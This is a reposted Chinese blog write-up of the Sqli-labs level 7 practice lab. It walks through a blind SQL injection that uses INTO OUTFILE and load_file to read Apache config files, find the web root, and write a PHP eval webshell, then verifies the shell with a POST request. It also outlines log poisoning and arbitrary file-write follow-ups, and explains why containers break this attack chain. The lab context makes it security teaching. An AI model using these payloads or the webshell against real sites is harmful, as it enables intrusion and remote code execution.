文章总结: 本文详述了Sqli-labs第7关SQL注入实战,演示了利用OUTFILE获取WebShell的完整过程。涵盖环境搭建、权限验证、Web根目录推导及权限修正。作者深入分析了现代容器化环境对传统攻击链的瓦解,提出了文件证据攻击与日志投毒等替代路径,强调理解权限边界与环境架构比单纯获取Shell更具实战价值。 综合评分: 98 文章分类: WEB安全,渗透测试,红队


,错以为搭建的靶场环境没有FILE权限,所以无法进行outfile注入,今天重新用docker搭建了sqli-labs环境,尝试outfile注入。具体错误原因将在后面的FILE权限验证中进行说明。
一、环境准备
先安装docker desktop。然后在docker hub里找到对应镜像文件,运行。








,现在只能硬着头皮继续在新的环境中进行测试了。
4.3 LOAD_FILE 行为验证(交叉确认)
我们可以在昨天的基础上更进一步,可以利用load_file()来验证我们是否写入成功,构造payload
?id=1')) and if(load_file('/tmp/test_into_outfile.txt') is not null, sleep(3), 0) --+
页面出现明显延迟,说明:
LOAD_FILE()可用- FILE 功能真实存在
通过这两步我们可以确定,outfile权限和load_file权限均是可以执行的。但我在进行第三步secure_file_priv进行间接判断时出现与昨天学习不相符的情况。
4.4 关于 secure_file_priv 的重要说明
✅ 第三步:secure_file_priv 间接判断
?id=1')) and if(@@secure_file_priv is null, sleep(3), 0) --+
测试结果显示变量为 NULL。
我以为是我搞错了secure_file_priv的值对应关系,但翻阅mysql官方文档发现并没有搞错
根据官方文档,secure_file_priv = NULL 表示禁用文件导入导出。
但在实际测试中(尤其是 Docker / 某些 MySQL 版本):
变量值 ≠ 实际行为
因此,在实战中应当遵循一个原则:
FILE 权限是否存在,应以 OUTFILE / LOAD_FILE 的执行结果为准,而不是变量本身
五、Web 根目录定位
5.1 一个必须先承认的事实
不存在任何纯 SQL 语句,可以直接查询 Web 根目录
Web 根目录属于 Web Server 配置,不属于数据库管理范畴,只能通过间接推导 + 行为验证获得。
5.2 Web 根目录的必要条件
一个目录要成为 Web 根目录,必须同时满足:
- 数据库进程可写
- Web Server 可读
- 可通过 HTTP 访问
缺一不可。
5.3 构造 Web 根目录候选集(不是猜测)
在 Linux 环境下,常见 Web 根目录只存在于有限集合中:
| Web Server | 常见 Web 根 |
| — | — |
| Apache | /var/www/html 、/var/www、/srv/http |
| Nginx | /usr/share/nginx/html |
| Lighttpd | /var/www |
| Docker 场景 | /app 、/www |
这不是经验拍脑袋,而是发行版与默认配置决定的有限集合。
六、通过 Web Server 配置文件反推真实 Web 根目录
在前面的测试中,我们已经确认:
- 数据库运行在 Linux 环境
- FILE / LOAD_FILE 行为可用
- Web 根目录并不位于常见默认路径
但此时仍存在一个关键不确定因素:
Web Server 是否与数据库处于同一文件系统?
如果二者不共享文件系统,那么任何 OUTFILE 写入都不可能通过 HTTP 访问。
6.1 验证数据库与 Web Server 是否文件系统互通
为验证这一点,可以尝试读取 Web Server 的配置文件。
优先测试覆盖率最高的 Apache:
?id=1')) and if( load_file('/etc/apache2/apache2.conf') is not null, sleep(5), 0) --+
页面出现延迟,说明:
- 系统中存在 Apache 配置文件
- 数据库进程具备读取权限
- 数据库与 Web Server 至少处于同一文件系统或共享挂载环境
⚠️ 该结论并不等同于“Apache 一定是当前 Web Server”, 而是为后续反推 Web 根目录提供了必要前提。
6.2 定位 Apache VirtualHost 配置文件
在 Apache 中,Web 根目录由 VirtualHost 定义,通常位于:
/etc/apache2/sites-enabled/000-default.conf
验证文件是否可读:
?id=1')) and if( load_file('/etc/apache2/sites-enabled/000-default.conf') is not null, sleep(2), 0) --+
页面出现延迟,说明:
- 该配置文件存在且可读
6.3 通过配置文件缩小 Web 根目录范围
无需字符级解析完整路径,只需通过模糊匹配缩小范围:
?id=1')) and if( load_file('/etc/apache2/sites-enabled/000-default.conf') like '%/var/www%', sleep(2), 0) --+
页面出现延迟,说明:
- web根目录∈
/var/www/*
真正被映射到 HTTP 的是 DocumentRoot,Apache 中常见情况是:
/var/www/html/var/www/site1/var/www/project/public
6.4 从 VirtualHost 中定位 DocumentRoot(逻辑关键一步)
Apache 中真正决定 Web 根目录的配置项是:
DocumentRoot /path/to/webroot
我们不需要完整回显内容,只需要验证是否包含某个路径特征。
6.4.1 判断是否存在默认子目录 html
?id=1')) and if( load_file('/etc/apache2/sites-enabled/000-default.conf') like '%/var/www/html%', sleep(2), 0) --+
页面出现延迟,说明:Web 根 = /var/www/html
七、通过 OUTFILE + HTTP 行为验证 Web 根目录
一个目录是否是真正 Web 根,必须满足:
- OUTFILE 能写入
- HTTP 能访问
- 内容一致
7.1 构造“探针文件”
优先写入纯文本探针文件,用于验证路径与权限。
?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/var/www/html/WEBROOT_TEST.txt' --+
通过load_file探测文件是否写入成功。
?id=1')) and if(load_file('/var/www/html/WEBROOT_TEST.txt') is not null, sleep(5),0)--+
页面无延迟,说明文件没有写入成功。
再次尝试在/tmp路径下写文件。
?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/tmp/WEBROOT_TEST.txt' --+
通过load_file探测文件是否写入成功。
?id=1')) and if(load_file('/tmp/WEBROOT_TEST.txt') is not null, sleep(5),0)--+
结论解释:
/tmp成功 +/var/www/html失败 👉 不是 FILE 权限问题,是“路径级别写限制”
到这里其实可以宣布outfile注入失败了。到这里说明一个非常重要的实战结论:
“确认 Web 根目录 ≠ 能向 Web 根写文件”
还必须同时满足以下条件:
| 条件 | 是否已验证 | | — | — |
| | | | — | — | | FILE 权限存在 | ✅ |
| | | | — | — | | MySQL 可写该路径 | ❌ |
| | | | — | — | | Web 可读该路径 | ✅ |
| | | | — | — | | HTTP 可访问 | ✅ |
八、研究视角下的“权限修正验证”
8.1 修改 Web 根目录权限(研究环境)
为了继续研究,我们通过尝试修改/var/www/html的执行权限。
⚠️ 说明:以下操作仅用于验证攻击链完整性, 并不属于真实攻击场景。 在实际渗透中,攻击者通常无法修改服务器目录权限。
此操作的目的只有一个:
验证:如果 MySQL 拥有写权限,OUTFILE → HTTP 是否能完整闭环
chmod 777 /var/www/html
在容器中执行这个命令:
8.2 再次写入探针文件
再次尝试构造’探针’文件。
?id=1')) union select 1,'WEBROOT_TEST_123456',3 into outfile '/tmp/WEBROOT_TEST.txt' --+
8.3 再次使用 LOAD_FILE 验证写入结果
再次通过load_file探测文件是否写入成功。
?id=1')) if(load_file('/var/www/html/WEBROOT_TEST.txt') is not null
页面出现明显延迟,说明:
- MySQL 已成功写入 Web 根目录
- 路径与权限问题已解除
8.4 最终 HTTP 行为验证
访问
http://target/WEBROOT_TEST.txt
至此可以确认:
- OUTFILE 写入成功
- Web Server 可读取
- HTTP 可正常访问
- Web 根目录判断正确
九、在满足全部前置条件下,写入 WebShell 的完整步骤
⚠️ 说明
本章操作仅在前文所有必要条件均成立的前提下进行,
且部分步骤依赖研究环境(Docker)中的权限调整。
在真实攻击场景中,攻击者往往无法完成这些条件,因此本章的核心目的,是验证 OUTFILE → WebShell 攻击链在理论上是否完整可闭环。
9.1 写 WebShell 的必要前提回顾(不可跳过)
在开始写 WebShell 之前,必须明确以下条件已全部被行为验证:
| 条件 | 状态 |
| — | — |
| 注入点可控 | ✅ |
| FILE 权限存在(OUTFILE 行为成功) | ✅ |
| Web 根目录已确认(/var/www/html) | ✅ |
| MySQL 进程对 Web 根可写 | ✅(研究环境下修正) |
| Web Server 可解析对应脚本 | ✅(待验证) |
👉 只有在这些条件全部成立时,写 WebShell 才具备现实意义。
9.2 先写“脚本执行探针”,而不是直接写 WebShell
在严谨流程中,不应直接写一句话木马。 原因很简单:
- Web Server ≠ 一定支持 PHP
- 写入成功 ≠ 一定会被解析
- 解析失败 ≠ 路径错误
因此,第一步是写入一个最小化脚本执行探针。
9.2.1 写入 PHP 执行探针
构造 payload:
?id=1')) union select1,'<?php echo "PHP_EXEC_OK"; ?>',3into outfile '/var/www/html/php_test.php' --+
#
9.2.2 通过 HTTP 验证脚本是否被解析
访问:
http://target/php_test.php
结果判断:
- 页面输出
PHP_EXEC_OK👉 说明 PHP 已正确解析,环境满足写 WebShell 条件 - 页面下载源码或 404
9.3 写入最小可控 WebShell(避免过度暴露)
在确认 PHP 可执行后,再写入 WebShell。 推荐使用最小功能版本,而不是功能齐全的大马。
9.3.1 构造最小 PHP WebShell
<?php @eval($_POST['cmd']); ?>
该 WebShell 的特点是:
- 体积小
- 功能单一
- 易于验证执行结果
- 不依赖 GET 参数(降低日志暴露)
9.3.2 通过 OUTFILE 写入 WebShell
?id=1')) union select1,'<?php @eval($_POST["cmd"]); ?>',3into outfile '/var/www/html/shell.php' --+
9.4 WebShell 可用性验证
写入成功并不代表攻击完成,必须验证代码是否真的可执行。
9.4.1 通过 HTTP 访问 WebShell。
http://target/shell.php
9.4.2 发送测试命令验证执行能力``使用POST请求:
POST /shell.php HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencodedContent-Length: 9cmd=phpinfo();
这里我利用了burp suite。
页面返回 PHP 配置信息,则说明:
- WebShell 可执行
- 代码被正确解析
- 攻击链完整闭环
十、当 OUTFILE → WebShell 攻击链失败后,真实世界的三条替代路径
在真实环境中,OUTFILE 注入远比靶场教程中更容易失败。 失败的原因往往并非 SQL 权限不足,而是:
- 数据库与 Web 服务文件系统隔离
- Web 根目录不可写
- 容器化、最小权限原则生效
但这并不意味着 FILE 权限的价值为零。
当 INTO OUTFILE 无法写入 Web 根目录时,攻击链通常会自然分流到以下三条路径。
10.1 路径一:文件写入型“证据攻击”(File Evidence Attack)
即使无法写 WebShell,任意文件写入本身就是高危能力。
可行目标包括:
/tmp//var/tmp//dev/shm/
攻击者可以:
- 写入标识文件(证明入侵能力)
- 写入后门配置文件(供后续攻击利用)
- 配合日志包含、计划任务等链路继续扩展
📌 在红队或真实漏洞评估中:
“可控文件写入” 本身即是高危结论
10.2 路径二:日志文件注入 → 二次解析(Log Poisoning)
在某些 Web Server 配置中:
- 访问日志
- 错误日志
是Web Server 可写、Web Server 可读、甚至可被解析的文件。
典型链路:
- SQL 注入写入恶意字符串
- 该字符串进入 Web 日志
- 通过 LFI / 模板解析触发执行
这种链路:
- 不依赖 Web 根目录写权限
- 在权限隔离环境中更现实
10.3 路径三:OUTFILE ≠ WebShell,而是“环境认知突破”
在越来越多的现代环境中:
-
WebShell 已不是最终目标
-
攻击者更关注:
-
数据泄露
-
配置暴露
-
认证材料
例如:
- 写配置探针文件 → 判断挂载点
- 写临时文件 → 推断容器边界
- 写错误数据 → 诱导运维响应
👉 OUTFILE 的真正价值,是环境认知能力,而非 Shell 本身
十一、从 Sqli-labs 第 7 关,看现代部署环境如何“自然淘汰” OUTFILE 攻击链
Sqli-labs 的第 7 关,在今天看来,其实已经有些“复古”。
但正因为如此,它才非常适合作为一个对比样本,帮助我们理解:
为什么传统 SQL 注入攻击链正在逐渐失效
11.1 OUTFILE 攻击链的“黄金时代假设”
传统 OUTFILE → WebShell 链路,隐含了多个前提:
- 数据库与 Web 在同一台主机
- 共享文件系统
- Web 根目录对数据库用户可写
- Web Server 解析写入文件
这些假设在早期单机部署中大量成立。
11.2 现代环境如何逐条打破这些前提
在你这次实验中,其实已经看到了全部答案:
| 假设 | 现实情况 | | — | — | | DB 与 Web 同机 | Docker 容器隔离 | | 共享文件系统 | 默认不共享 | | Web 根可写 | 最小权限原则 | | 写即执行 | 解析链路断裂 |
👉 攻击链并非被“修补”,而是被“结构性拆解”
11.3 为什么这并不意味着 SQL 注入“过时”
需要明确的一点是:
SQL 注入并没有消失 消失的是 “一步到 Shell” 的幻想
现代 SQL 注入更像:
- 数据层突破
- 环境侧信道
- 权限边界探测器
而不是直接的 RCE 工具。
11.4 Sqli-labs 第 7 关的真正价值
第 7 关的意义,不在于:
“你是否成功写出了 WebShell”
而在于你是否理解了:
- FILE 权限的边界
- 操作系统权限的约束
- 部署架构对攻击链的影响
如果我们在这关 失败得越“彻底”,反而说明越接近真实世界。
十二、全文方法论总结
本文从 “不知道环境、不知道服务、不知道路径” 出发, 完整走了一条:
注入点确认 → FILE 行为验证 → 路径推导 → 行为验证 → 攻击链失败 → 原因解释
的完整分析链。
最终结论只有一句话:
在现代环境中,攻击是否成功,远比攻击者是否“理解失败”更不重要。
理解失败,才是进阶的开始。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安《SQL注入实战——outfile注入,Sqli-labs第7关(下)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论